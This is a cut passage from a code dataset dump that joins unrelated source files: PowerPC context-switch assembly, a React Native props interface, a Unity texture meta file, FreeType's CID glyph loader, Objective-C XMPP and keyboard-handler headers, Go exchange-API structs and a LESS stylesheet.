*******************************************************/\n\n.text\n.globl _make_fcontext\n.align 2\n_make_fcontext:\n # save return address into R6\n mflr r6\n\n # first arg of make_fcontext() == top address of context-function\n # shift address in R3 to lower 16 byte boundary\n clrrwi r3, r3, 4\n\n # reserve space for context-data on context-stack\n # including 64 byte of linkage + parameter area (R1 16 == 0)\n subi r3, r3, 336\n\n # third arg of make_fcontext() == address of context-function\n stw r5, 240(r3)\n\n # set back-chain to zero\n li r0, 0\n stw r0, 244(r3)\n\n mffs f0 # load FPSCR\n stfd f0, 144(r3) # save FPSCR\n\n # compute address of returned transfer_t\n addi r0, r3, 252\n mr r4, r0 \n stw r4, 228(r3) \n\n # load LR\n mflr r0\n # jump to label 1\n bl 1f\n1:\n # load LR into R4\n mflr r4\n # compute abs address of label finish\n addi r4, r4, finish - 1b\n # restore LR\n mtlr r0\n # save address of finish as return-address for context-function\n # will be entered after context-function returns\n stw r4, 236(r3)\n\n # restore return address from R6\n mtlr r6\n\n blr # return pointer to context-data\n\nfinish:\n # save return address into R0\n mflr r0\n # save return address on stack, set up stack frame\n stw r0, 4(r1)\n # allocate stack space, R1 16 == 0\n stwu r1, -16(r1)\n\n # exit code is zero\n li r3, 0\n # exit application\n bl _exit@plt\n"} {"text": "import * as React from \"react\"\nimport { ViewStyle } from \"react-native\"\nimport { FormRowPresets } from \"./form-row.presets\"\n\n/**\n * The properties you can pass to FormRow.\n */\nexport interface FormRowProps {\n /**\n * Children components.\n */\n children?: React.ReactNode\n\n /**\n * Override the container style... useful for margins and padding.\n */\n style?: ViewStyle\n\n /**\n * The type of border.\n */\n preset: FormRowPresets\n}\n"} {"text": "fileFormatVersion: 2\nguid: 8e098d8d28c5182419f7a1c8b91ca722\nTextureImporter:\n fileIDToRecycleName: {}\n serializedVersion: 2\n mipmaps:\n mipMapMode: 0\n enableMipMap: 0\n linearTexture: 1\n correctGamma: 0\n fadeOut: 0\n borderMipMap: 0\n mipMapFadeDistanceStart: 1\n mipMapFadeDistanceEnd: 3\n bumpmap:\n convertToNormalMap: 0\n externalNormalMap: 0\n heightScale: .25\n normalMapFilter: 0\n isReadable: 0\n grayScaleToAlpha: 0\n generateCubemap: 0\n cubemapConvolution: 0\n cubemapConvolutionSteps: 8\n cubemapConvolutionExponent: 1.5\n seamlessCubemap: 0\n textureFormat: -3\n maxTextureSize: 128\n textureSettings:\n filterMode: -1\n aniso: 1\n mipBias: -1\n wrapMode: 1\n nPOTScale: 0\n lightmap: 0\n rGBM: 0\n compressionQuality: 50\n spriteMode: 0\n spriteExtrude: 1\n spriteMeshType: 1\n alignment: 0\n spritePivot: {x: .5, y: .5}\n spriteBorder: {x: 0, y: 0, z: 0, w: 0}\n spritePixelsToUnits: 100\n alphaIsTransparency: 1\n textureType: 2\n buildTargetSettings: []\n spriteSheet:\n sprites: []\n spritePackingTag: \n userData: \n assetBundleName: \n assetBundleVariant: \n"} {"text": "/***************************************************************************/\n/* */\n/* cidgload.c */\n/* */\n/* CID-keyed Type1 Glyph Loader (body). */\n/* */\n/* Copyright 1996-2018 by */\n/* David Turner, Robert Wilhelm, and Werner Lemberg. */\n/* */\n/* This file is part of the FreeType project, and may only be used, */\n/* modified, and distributed under the terms of the FreeType project */\n/* license, LICENSE.TXT. By continuing to use, modify, or distribute */\n/* this file you indicate that you have read the license and */\n/* understand and accept it fully. */\n/* */\n/***************************************************************************/\n\n\n#include <ft2build.h>\n#include \"cidload.h\"\n#include \"cidgload.h\"\n#include FT_INTERNAL_DEBUG_H\n#include FT_INTERNAL_STREAM_H\n#include FT_OUTLINE_H\n#include FT_INTERNAL_CALC_H\n\n#include FT_INTERNAL_POSTSCRIPT_AUX_H\n#include FT_INTERNAL_CFF_TYPES_H\n#include FT_DRIVER_H\n\n#include \"ciderrs.h\"\n\n\n /*************************************************************************/\n /* */\n /* The macro FT_COMPONENT is used in trace mode. It is an implicit */\n /* parameter of the FT_TRACE() and FT_ERROR() macros, used to print/log */\n /* messages during execution. */\n /* */\n#undef FT_COMPONENT\n#define FT_COMPONENT trace_cidgload\n\n\n FT_CALLBACK_DEF( FT_Error )\n cid_load_glyph( T1_Decoder decoder,\n FT_UInt glyph_index )\n {\n CID_Face face = (CID_Face)decoder->builder.face;\n CID_FaceInfo cid = &face->cid;\n FT_Byte* p;\n FT_ULong fd_select;\n FT_Stream stream = face->cid_stream;\n FT_Error error = FT_Err_Ok;\n FT_Byte* charstring = NULL;\n FT_Memory memory = face->root.memory;\n FT_ULong glyph_length = 0;\n PSAux_Service psaux = (PSAux_Service)face->psaux;\n\n FT_Bool force_scaling = FALSE;\n\n#ifdef FT_CONFIG_OPTION_INCREMENTAL\n FT_Incremental_InterfaceRec *inc =\n face->root.internal->incremental_interface;\n#endif\n\n\n FT_TRACE1(( \"cid_load_glyph: glyph index %d\\n\", glyph_index ));\n\n#ifdef FT_CONFIG_OPTION_INCREMENTAL\n\n /* For incremental fonts get the character data using */\n /* the callback function. */\n if ( inc )\n {\n FT_Data glyph_data;\n\n\n error = inc->funcs->get_glyph_data( inc->object,\n glyph_index, &glyph_data );\n if ( error )\n goto Exit;\n\n p = (FT_Byte*)glyph_data.pointer;\n fd_select = cid_get_offset( &p, (FT_Byte)cid->fd_bytes );\n\n if ( glyph_data.length != 0 )\n {\n glyph_length = (FT_ULong)( glyph_data.length - cid->fd_bytes );\n (void)FT_ALLOC( charstring, glyph_length );\n if ( !error )\n ft_memcpy( charstring, glyph_data.pointer + cid->fd_bytes,\n glyph_length );\n }\n\n inc->funcs->free_glyph_data( inc->object, &glyph_data );\n\n if ( error )\n goto Exit;\n }\n\n else\n\n#endif /* FT_CONFIG_OPTION_INCREMENTAL */\n\n /* For ordinary fonts read the CID font dictionary index */\n /* and charstring offset from the CIDMap. */\n {\n FT_UInt entry_len = (FT_UInt)( cid->fd_bytes + cid->gd_bytes );\n FT_ULong off1, off2;\n\n\n if ( FT_STREAM_SEEK( cid->data_offset + cid->cidmap_offset +\n glyph_index * entry_len ) ||\n FT_FRAME_ENTER( 2 * entry_len ) )\n goto Exit;\n\n p = (FT_Byte*)stream->cursor;\n fd_select = cid_get_offset( &p, (FT_Byte)cid->fd_bytes );\n off1 = cid_get_offset( &p, (FT_Byte)cid->gd_bytes );\n p += cid->fd_bytes;\n off2 = cid_get_offset( &p, (FT_Byte)cid->gd_bytes );\n FT_FRAME_EXIT();\n\n if ( fd_select >= (FT_ULong)cid->num_dicts ||\n off2 > stream->size ||\n off1 > off2 )\n {\n FT_TRACE0(( \"cid_load_glyph: invalid glyph stream offsets\\n\" ));\n error = FT_THROW( Invalid_Offset );\n goto Exit;\n }\n\n glyph_length = off2 - off1;\n if ( glyph_length == 0 )\n goto Exit;\n if ( FT_ALLOC( charstring, glyph_length ) )\n goto Exit;\n if ( FT_STREAM_READ_AT( cid->data_offset + off1,\n charstring, glyph_length ) )\n goto Exit;\n }\n\n /* Now set up the subrs array and parse the charstrings. */\n {\n CID_FaceDict dict;\n CID_Subrs cid_subrs = face->subrs + fd_select;\n FT_UInt cs_offset;\n\n\n /* Set up subrs */\n decoder->num_subrs = cid_subrs->num_subrs;\n decoder->subrs = cid_subrs->code;\n decoder->subrs_len = 0;\n decoder->subrs_hash = NULL;\n\n /* Set up font matrix */\n dict = cid->font_dicts + fd_select;\n\n decoder->font_matrix = dict->font_matrix;\n decoder->font_offset = dict->font_offset;\n decoder->lenIV = dict->private_dict.lenIV;\n\n /* Decode the charstring. */\n\n /* Adjustment for seed bytes. */\n cs_offset = decoder->lenIV >= 0 ? (FT_UInt)decoder->lenIV : 0;\n if ( cs_offset > glyph_length )\n {\n FT_TRACE0(( \"cid_load_glyph: invalid glyph stream offsets\\n\" ));\n error = FT_THROW( Invalid_Offset );\n goto Exit;\n }\n\n /* Decrypt only if lenIV >= 0. */\n if ( decoder->lenIV >= 0 )\n psaux->t1_decrypt( charstring, glyph_length, 4330 );\n\n /* choose which renderer to use */\n#ifdef T1_CONFIG_OPTION_OLD_ENGINE\n if ( ( (PS_Driver)FT_FACE_DRIVER( face ) )->hinting_engine ==\n FT_HINTING_FREETYPE ||\n decoder->builder.metrics_only )\n error = psaux->t1_decoder_funcs->parse_charstrings_old(\n decoder,\n charstring + cs_offset,\n glyph_length - cs_offset );\n#else\n if ( decoder->builder.metrics_only )\n error = psaux->t1_decoder_funcs->parse_metrics(\n decoder,\n charstring + cs_offset,\n glyph_length - cs_offset );\n#endif\n else\n {\n PS_Decoder psdecoder;\n CFF_SubFontRec subfont;\n\n\n psaux->ps_decoder_init( &psdecoder, decoder, TRUE );\n\n psaux->t1_make_subfont( FT_FACE( face ),\n &dict->private_dict,\n &subfont );\n psdecoder.current_subfont = &subfont;\n\n error = psaux->t1_decoder_funcs->parse_charstrings(\n &psdecoder,\n charstring + cs_offset,\n glyph_length - cs_offset );\n\n /* Adobe's engine uses 16.16 numbers everywhere; */\n /* as a consequence, glyphs larger than 2000ppem get rejected */\n if ( FT_ERR_EQ( error, Glyph_Too_Big ) )\n {\n /* this time, we retry unhinted and scale up the glyph later on */\n /* (the engine uses and sets the hardcoded value 0x10000 / 64 = */\n /* 0x400 for both `x_scale' and `y_scale' in this case) */\n ((CID_GlyphSlot)decoder->builder.glyph)->hint = FALSE;\n\n force_scaling = TRUE;\n\n error = psaux->t1_decoder_funcs->parse_charstrings(\n &psdecoder,\n charstring + cs_offset,\n glyph_length - cs_offset );\n }\n }\n }\n\n#ifdef FT_CONFIG_OPTION_INCREMENTAL\n\n /* Incremental fonts can optionally override the metrics. */\n if ( !error && inc && inc->funcs->get_glyph_metrics )\n {\n FT_Incremental_MetricsRec metrics;\n\n\n metrics.bearing_x = FIXED_TO_INT( decoder->builder.left_bearing.x );\n metrics.bearing_y = 0;\n metrics.advance = FIXED_TO_INT( decoder->builder.advance.x );\n metrics.advance_v = FIXED_TO_INT( decoder->builder.advance.y );\n\n error = inc->funcs->get_glyph_metrics( inc->object,\n glyph_index, FALSE, &metrics );\n\n decoder->builder.left_bearing.x = INT_TO_FIXED( metrics.bearing_x );\n decoder->builder.advance.x = INT_TO_FIXED( metrics.advance );\n decoder->builder.advance.y = INT_TO_FIXED( metrics.advance_v );\n }\n\n#endif /* FT_CONFIG_OPTION_INCREMENTAL */\n\n Exit:\n FT_FREE( charstring );\n\n ((CID_GlyphSlot)decoder->builder.glyph)->scaled = force_scaling;\n\n return error;\n }\n\n\n#if 0\n\n\n /*************************************************************************/\n /*************************************************************************/\n /*************************************************************************/\n /********** *********/\n /********** *********/\n /********** COMPUTE THE MAXIMUM ADVANCE WIDTH *********/\n /********** *********/\n /********** The following code is in charge of computing *********/\n /********** the maximum advance width of the font. It *********/\n /********** quickly processes each glyph charstring to *********/\n /********** extract the value from either a `sbw' or `seac' *********/\n /********** operator. *********/\n /********** *********/\n /*************************************************************************/\n /*************************************************************************/\n /*************************************************************************/\n\n\n FT_LOCAL_DEF( FT_Error )\n cid_face_compute_max_advance( CID_Face face,\n FT_Int* max_advance )\n {\n FT_Error error;\n T1_DecoderRec decoder;\n FT_Int glyph_index;\n\n PSAux_Service psaux = (PSAux_Service)face->psaux;\n\n\n *max_advance = 0;\n\n /* Initialize load decoder */\n error = psaux->t1_decoder_funcs->init( &decoder,\n (FT_Face)face,\n 0, /* size */\n 0, /* glyph slot */\n 0, /* glyph names! XXX */\n 0, /* blend == 0 */\n 0, /* hinting == 0 */\n cid_load_glyph );\n if ( error )\n return error;\n\n /* TODO: initialize decoder.len_buildchar and decoder.buildchar */\n /* if we ever support CID-keyed multiple master fonts */\n\n decoder.builder.metrics_only = 1;\n decoder.builder.load_points = 0;\n\n /* for each glyph, parse the glyph charstring and extract */\n /* the advance width */\n for ( glyph_index = 0; glyph_index < face->root.num_glyphs;\n glyph_index++ )\n {\n /* now get load the unscaled outline */\n error = cid_load_glyph( &decoder, glyph_index );\n /* ignore the error if one occurred - skip to next glyph */\n }\n\n *max_advance = FIXED_TO_INT( decoder.builder.advance.x );\n\n psaux->t1_decoder_funcs->done( &decoder );\n\n return FT_Err_Ok;\n }\n\n\n#endif /* 0 */\n\n\n FT_LOCAL_DEF( FT_Error )\n cid_slot_load_glyph( FT_GlyphSlot cidglyph, /* CID_GlyphSlot */\n FT_Size cidsize, /* CID_Size */\n FT_UInt glyph_index,\n FT_Int32 load_flags )\n {\n CID_GlyphSlot glyph = (CID_GlyphSlot)cidglyph;\n FT_Error error;\n T1_DecoderRec decoder;\n CID_Face face = (CID_Face)cidglyph->face;\n FT_Bool hinting;\n FT_Bool scaled;\n\n PSAux_Service psaux = (PSAux_Service)face->psaux;\n FT_Matrix font_matrix;\n FT_Vector font_offset;\n FT_Bool must_finish_decoder = FALSE;\n\n\n if ( glyph_index >= (FT_UInt)face->root.num_glyphs )\n {\n error = FT_THROW( Invalid_Argument );\n goto Exit;\n }\n\n if ( load_flags & FT_LOAD_NO_RECURSE )\n load_flags |= FT_LOAD_NO_SCALE | FT_LOAD_NO_HINTING;\n\n glyph->x_scale = cidsize->metrics.x_scale;\n glyph->y_scale = cidsize->metrics.y_scale;\n\n cidglyph->outline.n_points = 0;\n cidglyph->outline.n_contours = 0;\n\n hinting = FT_BOOL( ( load_flags & FT_LOAD_NO_SCALE ) == 0 &&\n ( load_flags & FT_LOAD_NO_HINTING ) == 0 );\n scaled = FT_BOOL( ( load_flags & FT_LOAD_NO_SCALE ) == 0 );\n\n glyph->hint = hinting;\n glyph->scaled = scaled;\n cidglyph->format = FT_GLYPH_FORMAT_OUTLINE;\n\n error = psaux->t1_decoder_funcs->init( &decoder,\n cidglyph->face,\n cidsize,\n cidglyph,\n 0, /* glyph names -- XXX */\n 0, /* blend == 0 */\n hinting,\n FT_LOAD_TARGET_MODE( load_flags ),\n cid_load_glyph );\n if ( error )\n goto Exit;\n\n /* TODO: initialize decoder.len_buildchar and decoder.buildchar */\n /* if we ever support CID-keyed multiple master fonts */\n\n must_finish_decoder = TRUE;\n\n /* set up the decoder */\n decoder.builder.no_recurse = FT_BOOL(\n ( ( load_flags & FT_LOAD_NO_RECURSE ) != 0 ) );\n\n error = cid_load_glyph( &decoder, glyph_index );\n if ( error )\n goto Exit;\n\n /* copy flags back for forced scaling */\n hinting = glyph->hint;\n scaled = glyph->scaled;\n\n font_matrix = decoder.font_matrix;\n font_offset = decoder.font_offset;\n\n /* save new glyph tables */\n psaux->t1_decoder_funcs->done( &decoder );\n\n must_finish_decoder = FALSE;\n\n /* now set the metrics -- this is rather simple, as */\n /* the left side bearing is the xMin, and the top side */\n /* bearing the yMax */\n cidglyph->outline.flags &= FT_OUTLINE_OWNER;\n cidglyph->outline.flags |= FT_OUTLINE_REVERSE_FILL;\n\n /* for composite glyphs, return only left side bearing and */\n /* advance width */\n if ( load_flags & FT_LOAD_NO_RECURSE )\n {\n FT_Slot_Internal internal = cidglyph->internal;\n\n\n cidglyph->metrics.horiBearingX =\n FIXED_TO_INT( decoder.builder.left_bearing.x );\n cidglyph->metrics.horiAdvance =\n FIXED_TO_INT( decoder.builder.advance.x );\n\n internal->glyph_matrix = font_matrix;\n internal->glyph_delta = font_offset;\n internal->glyph_transformed = 1;\n }\n else\n {\n FT_BBox cbox;\n FT_Glyph_Metrics* metrics = &cidglyph->metrics;\n\n\n /* copy the _unscaled_ advance width */\n metrics->horiAdvance =\n FIXED_TO_INT( decoder.builder.advance.x );\n cidglyph->linearHoriAdvance =\n FIXED_TO_INT( decoder.builder.advance.x );\n cidglyph->internal->glyph_transformed = 0;\n\n /* make up vertical ones */\n metrics->vertAdvance = ( face->cid.font_bbox.yMax -\n face->cid.font_bbox.yMin ) >> 16;\n cidglyph->linearVertAdvance = metrics->vertAdvance;\n\n cidglyph->format = FT_GLYPH_FORMAT_OUTLINE;\n\n if ( cidsize->metrics.y_ppem < 24 )\n cidglyph->outline.flags |= FT_OUTLINE_HIGH_PRECISION;\n\n /* apply the font matrix, if any */\n if ( font_matrix.xx != 0x10000L || font_matrix.yy != 0x10000L ||\n font_matrix.xy != 0 || font_matrix.yx != 0 )\n {\n FT_Outline_Transform( &cidglyph->outline, &font_matrix );\n\n metrics->horiAdvance = FT_MulFix( metrics->horiAdvance,\n font_matrix.xx );\n metrics->vertAdvance = FT_MulFix( metrics->vertAdvance,\n font_matrix.yy );\n }\n\n if ( font_offset.x || font_offset.y )\n {\n FT_Outline_Translate( &cidglyph->outline,\n font_offset.x,\n font_offset.y );\n\n metrics->horiAdvance += font_offset.x;\n metrics->vertAdvance += font_offset.y;\n }\n\n if ( ( load_flags & FT_LOAD_NO_SCALE ) == 0 || scaled )\n {\n /* scale the outline and the metrics */\n FT_Int n;\n FT_Outline* cur = decoder.builder.base;\n FT_Vector* vec = cur->points;\n FT_Fixed x_scale = glyph->x_scale;\n FT_Fixed y_scale = glyph->y_scale;\n\n\n /* First of all, scale the points */\n if ( !hinting || !decoder.builder.hints_funcs )\n for ( n = cur->n_points; n > 0; n--, vec++ )\n {\n vec->x = FT_MulFix( vec->x, x_scale );\n vec->y = FT_MulFix( vec->y, y_scale );\n }\n\n /* Then scale the metrics */\n metrics->horiAdvance = FT_MulFix( metrics->horiAdvance, x_scale );\n metrics->vertAdvance = FT_MulFix( metrics->vertAdvance, y_scale );\n }\n\n /* compute the other metrics */\n FT_Outline_Get_CBox( &cidglyph->outline, &cbox );\n\n metrics->width = cbox.xMax - cbox.xMin;\n metrics->height = cbox.yMax - cbox.yMin;\n\n metrics->horiBearingX = cbox.xMin;\n metrics->horiBearingY = cbox.yMax;\n\n if ( load_flags & FT_LOAD_VERTICAL_LAYOUT )\n {\n /* make up vertical ones */\n ft_synthesize_vertical_metrics( metrics,\n metrics->vertAdvance );\n }\n }\n\n Exit:\n\n if ( must_finish_decoder )\n psaux->t1_decoder_funcs->done( &decoder );\n\n return error;\n }\n\n\n/* END */\n"} {"text": "#import <Foundation/Foundation.h>\n#import \"XMPPModule.h\"\n\n@class XMPPJID;\n@class XMPPStream;\n@class XMPPIQ;\n@class XMPPIDTracker;\n@protocol XMPPPingDelegate;\n\n\n@interface XMPPPing : XMPPModule\n{\n\tBOOL respondsToQueries;\n\tXMPPIDTracker *pingTracker;\n}\n\n/**\n * Whether or not the module should respond to incoming ping queries.\n * It you create multiple instances of this module, only one instance should respond to queries.\n * \n * It is recommended you set this (if needed) before you activate the module.\n * The default value is YES.\n**/\n@property (readwrite) BOOL respondsToQueries;\n\n/**\n * Send pings to the server or a specific JID.\n * The disco module may be used to detect if the target supports ping.\n * \n * The returned string is the pingID (the elementID of the query that was sent).\n * In other words:\n * \n * SEND: <iq id=\"<returned_string>\" type=\"get\" .../>\n * RECV: <iq id=\"<returned_string>\" type=\"result\" .../>\n * \n * This may be helpful if you are sending multiple simultaneous pings to the same target.\n**/\n- (NSString *)sendPingToServer;\n- (NSString *)sendPingToServerWithTimeout:(NSTimeInterval)timeout;\n- (NSString *)sendPingToJID:(XMPPJID *)jid;\n- (NSString *)sendPingToJID:(XMPPJID *)jid withTimeout:(NSTimeInterval)timeout;\n\n@end\n\n@protocol XMPPPingDelegate\n@optional\n\n- (void)xmppPing:(XMPPPing *)sender didReceivePong:(XMPPIQ *)pong withRTT:(NSTimeInterval)rtt;\n- (void)xmppPing:(XMPPPing *)sender didNotReceivePong:(NSString *)pingID dueToTimeout:(NSTimeInterval)timeout;\n\n// Note: If the xmpp stream is disconnected, no delegate methods will be called, and outstanding pings are forgotten.\n\n@end\n"} {"text": "//\n// IQKeyboardReturnKeyHandler.h\n// https://github.com/hackiftekhar/IQKeyboardManager\n// Copyright (c) 2013-16 Iftekhar Qurashi.\n//\n// Permission is hereby granted, free of charge, to any person obtaining a copy\n// of this software and associated documentation files (the \"Software\"), to deal\n// in the Software without restriction, including without limitation the rights\n// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n// copies of the Software, and to permit persons to whom the Software is\n// furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice shall be included in\n// all copies or substantial portions of the Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n// THE SOFTWARE.\n\n#import \"IQKeyboardManagerConstants.h\"\n\n#import <Foundation/NSObject.h>\n#import <Foundation/NSObjCRuntime.h>\n\n#import <UIKit/UITextInputTraits.h>\n\n@class UITextField, UIView, UIViewController;\n@protocol UITextFieldDelegate, UITextViewDelegate;\n\n/**\n Manages the return key to work like next/done in a view hierarchy.\n */\n@interface IQKeyboardReturnKeyHandler : NSObject\n\n///----------------------\n/// @name Initializations\n///----------------------\n\n/**\n Add all the textFields available in UIViewController's view.\n */\n-(nonnull instancetype)initWithViewController:(nullable UIViewController*)controller NS_DESIGNATED_INITIALIZER;\n\n/**\n Unavailable. Please use initWithViewController: or init method\n */\n-(nonnull instancetype)initWithCoder:(nullable NSCoder *)aDecoder NS_UNAVAILABLE;\n\n///---------------\n/// @name Settings\n///---------------\n\n/**\n Delegate of textField/textView.\n */\n@property(nullable, nonatomic, weak) id<UITextFieldDelegate,UITextViewDelegate> delegate;\n\n/**\n Set the last textfield return key type. Default is UIReturnKeyDefault.\n */\n@property(nonatomic, assign) UIReturnKeyType lastTextFieldReturnKeyType;\n\n///----------------------------------------------\n/// @name Registering/Unregistering textFieldView\n///----------------------------------------------\n\n/**\n Should pass UITextField/UITextView instance. Assign textFieldView delegate to self, change it's returnKeyType.\n \n @param textFieldView UITextField/UITextView object to register.\n */\n-(void)addTextFieldView:(nonnull UIView*)textFieldView;\n\n/**\n Should pass UITextField/UITextView instance. Restore it's textFieldView delegate and it's returnKeyType.\n\n @param textFieldView UITextField/UITextView object to unregister.\n */\n-(void)removeTextFieldView:(nonnull UIView*)textFieldView;\n\n/**\n Add all the UITextField/UITextView responderView's.\n \n @param view object to register all it's responder subviews.\n */\n-(void)addResponderFromView:(nonnull UIView*)view;\n\n/**\n Remove all the UITextField/UITextView responderView's.\n \n @param view object to unregister all it's responder subviews.\n */\n-(void)removeResponderFromView:(nonnull UIView*)view;\n\n@end\n"} {"text": "package models\n\ntype SymbolsData struct {\n\tBaseCurrency string `json:\"base-currency\"` // 基础币种\n\tQuoteCurrency string `json:\"quote-currency\"` // 计价币种\n\tPricePrecision int `json:\"price-precision\"` // 价格精度位数(0为个位)\n\tAmountPrecision int `json:\"amount-precision\"` // 数量精度位数(0为个位)\n\tSymbolPartition string `json:\"symbol-partition\"` // 交易区, main: 主区, innovation: 创新区, bifurcation: 分叉区\n}\n\ntype SymbolsReturn struct {\n\tStatus string `json:\"status\"` // 请求状态\n\tData []SymbolsData `json:\"data\"` // 交易及精度数据\n\tErrCode string `json:\"err-code\"`\n\tErrMsg string `json:\"err-msg\"`\n}\n"} {"text": "/*!\n// Contents\n// ------------------------------------------------\n\n 1. Mixins\n 2. Helper classes & resets\n 3. Loader\n 4. Colours\n 5. Typography\n 6. Spacing\n 7. Buttons\n 8. Navigation\n 9. Slider, Dividers\n 10. Speakers & Topics\n 11. Schedule\n 12. Galleries\n 13. Pricing & FAQ\n 14. Subscribe\n 15. Contact\n 16. Forms\n 17. Footers\n\n// --------------------------------------------------*/\n\n@import \"variables.less\";\n@import \"mixins.less\";\n\n/*!\n// 1. Useful Mixins\n// --------------------------------------------------*/\n\n.vertical-align {\n position: relative;\n top: 50%;\n -webkit-transform: translateY(-50%);\n -ms-transform: translateY(-50%);\n transform: translateY(-50%);\n}\n\n.vertical-align-cancel{\n\ttop: 0px;\n\t-webkit-transform: translateY(0px);\n\t-ms-transform: translateY(0px);\n\ttransform: translateY(0px);\n}\n\n.preserve-3d {\n -webkit-transform-style: preserve-3d;\n -moz-transform-style: preserve-3d;\n transform-style: preserve-3d;\n}\n\n.transition-100{\n\ttransition: all .1s ease-out;\n\t-webkit-transition: all .1s ease-out;\n\t-moz-transition: all .1s ease-out;\n}\n\n.transition-300{\n\ttransition: all .3s ease-out;\n\t-webkit-transition: all .3s ease-out;\n\t-moz-transition: all .3s ease-out;\n}\n\n.transition-700{\n\ttransition: all .7s ease-out;\n\t-webkit-transition: all .7s ease-out;\n\t-moz-transition: all .7s ease-out;\n}\n\n.translate3d(@x,@y,@z){\n\ttransform: translate3d(@x,@y,@z);\n\t-webkit-transform: translate3d(@x,@y,@z);\n\t-moz-transform: translate3d(@x,@y,@z);\n}\n\n.scale2d(@x,@y){\n\ttransform: scale(@x,@y);\n\t-webkit-transform: scale(@x,@y);\n\t-moz-transform: scale(@x,@y);\n}\n\n.overlay-params(@strength, @bg-color){\n\tbackground-color: @bg-color;\n\topacity: @strength;\n\tposition: absolute;\n\tcontent: '';\n\twidth: 100%;\n\theight: 100%;\n\tz-index: 1;\n\ttop: 0px;\n}\n\n.overlay:before{ .overlay-params(@strength: 0.5, @bg-color: @color-heading); }\n.overlay .container{ position: relative; z-index: 2; }\n\n/*!\n// 2. Helper Classes & Resets\n// --------------------------------------------------*/\n\t\n.go-right{ right: 0px; }\n.go-left{ left: 0px; }\n\nimg{ max-width: 100%; }\n\n.main-container{ .transition-300; }\n\n/*!\n// 3. Loader\n// --------------------------------------------------*/\n\n.loader{ position: fixed; top: 0px; left: 0px; width: 100%; height: 100%; z-index: 99; background: #fff; .preserve-3d; .transition-300; opacity: 1; }\n.strip-holder{ .vertical-align; left: 50%; margin-left: -50px; position: relative; }\n.strip-1, .strip-2, .strip-3{ width: 20px; height: 20px; background: @color-primary; position: relative; -webkit-animation: stripMove 2s ease infinite alternate; animation: stripMove 2s ease infinite alternate; -moz-animation: stripMove 2s ease infinite alternate; }\n.strip-2{ -webkit-animation-duration: 2.1s; animation-duration: 2.1s; background-color: lighten(@color-primary, 20%); }\n.strip-3{ -webkit-animation-duration: 2.2s; animation-duration: 2.2s; background-color: lighten(@color-primary, 40%); }\n\n\n@-webkit-keyframes stripMove{\n\t0% { .translate3d(@x: 0px, @y: 0px, @z: 0px); }\n\t50% { .translate3d(@x: 0px, @y: 0px, @z: 0px); .scale2d(@x: 4, @y: 1); }\n\t100% { .translate3d(@x: -50px, @y: 0px, @z: 0px); }\n}\n\n@-moz-keyframes stripMove{\n\t0% { .translate3d(@x: -50px, @y: 0px, @z: 0px); }\n\t50% { .translate3d(@x: 0px, @y: 0px, @z: 0px); .scale2d(@x: 4, @y: 1); }\n\t100% { .translate3d(@x: 50px, @y: 0px, @z: 0px); }\n}\n\n@keyframes stripMove{\n\t0% { .translate3d(@x: -50px, @y: 0px, @z: 0px); }\n\t50% { .translate3d(@x: 0px, @y: 0px, @z: 0px); .scale2d(@x: 4, @y: 1); }\n\t100% { .translate3d(@x: 50px, @y: 0px, @z: 0px); }\n}\n\n.main-container{ .transition-300; opacity: 0; }\nnav{ .transition-300; opacity: 0; }\n.show-content{ opacity: 1 !important; }\n.hide-loader{ opacity: 0 !important; }\n\n\n/*!\n// 4. Colours\n// --------------------------------------------------*/\n\n@color-primary: #FFA900;\n@color-heading: #333;\n@color-body: #777;\n@color-muted: #f5f5f5 !important;\n\n.background-dark{ background-color: @color-heading !important; }\n.color-heading{ color: @color-heading; }\n\n/*!\n// 5. Typography\n// --------------------------------------------------*/\n\n@custom-heading-font: 'Open Sans';\n@custom-body-font: 'Open Sans';\n\n.text-white{ color: #fff; }\n\nbody{ font-family: @custom-body-font,\"Helvetica Neue\", Helvetica, Arial, sans-serif; font-smoothing: antialiased; -webkit-font-smoothing: antialiased; color: @color-body; font-size: 14px; line-height: 24px; background: #fff; }\nh1,h2,h3,h4,h5,h6{ font-family: @custom-heading-font,\"Helvetica Neue\", Helvetica, Arial, sans-serif; font-weight: 300; margin: 0px; color: @color-heading; }\n\nh1{ font-size: 30px; line-height: 36px; margin-bottom: 42px; }\nh3{ font-size: 20px; line-height: 28px; }\n\n.large-h1{ font-size: 42px; line-height: 48px; font-weight: 300; }\n\np{ font-size: 14px; line-height: 24px; }\np:last-child{ margin-bottom: 0px; }\np.lead{ font-size: 16px; line-height: 30px; font-weight: 400; }\nspan.lead{ font-weight: 400; }\n.uppercase{ text-transform: uppercase; letter-spacing: 1px; display: inline-block; margin-right: -1px; }\n\nstrong{ font-weight: 600; }\n\nul{ list-style: none; margin: 0px; padding: 0px; }\n\n@media all and(max-width: 767px){\n\th1{ font-size: 24px; line-height: 28px; margin-bottom: 36px; }\n\th2{ font-size: 20px; line-height: 26px; }\n\t\n\t.large-h1{ font-size: 24px; line-height: 28px; }\n\t\n\tp{ font-size: 13px; line-height: 22px; }\n\tp.lead{ font-size: 15px; line-height: 26px; }\n}\n\n\n/*!\n// Spacing Standards\n// --------------------------------------------------*/\n\n@standard-space: 72px;\n\nsection{ padding: @standard-space 0px; background: #fff; }\n\n.duplicatable-content{ padding-bottom: @standard-space/2; }\n\n\n/*!\n// 6. Buttons\n// --------------------------------------------------*/\n\na:hover{ text-decoration: none; }\nh1 a, span a,p a,.text-link a{ font-weight: 600; color: #fff; display: inline-block; border-bottom: 4px solid #fff; padding-bottom: 6px; .transition-300; }\nspan a, p a,.text-link a{ padding-bottom: 4px; border-bottom: 3px solid #fff; }\nspan a:hover{ color: #fff; }\np a, .text-link a{ color: @color-primary !important; border-color: @color-primary; padding-bottom: 2px; }\np a, .text-link a:hover{ color: @color-heading; }\n\n.btn{ min-width: 180px; border-radius: 25px; background: @color-primary; text-align: center; padding: 13px 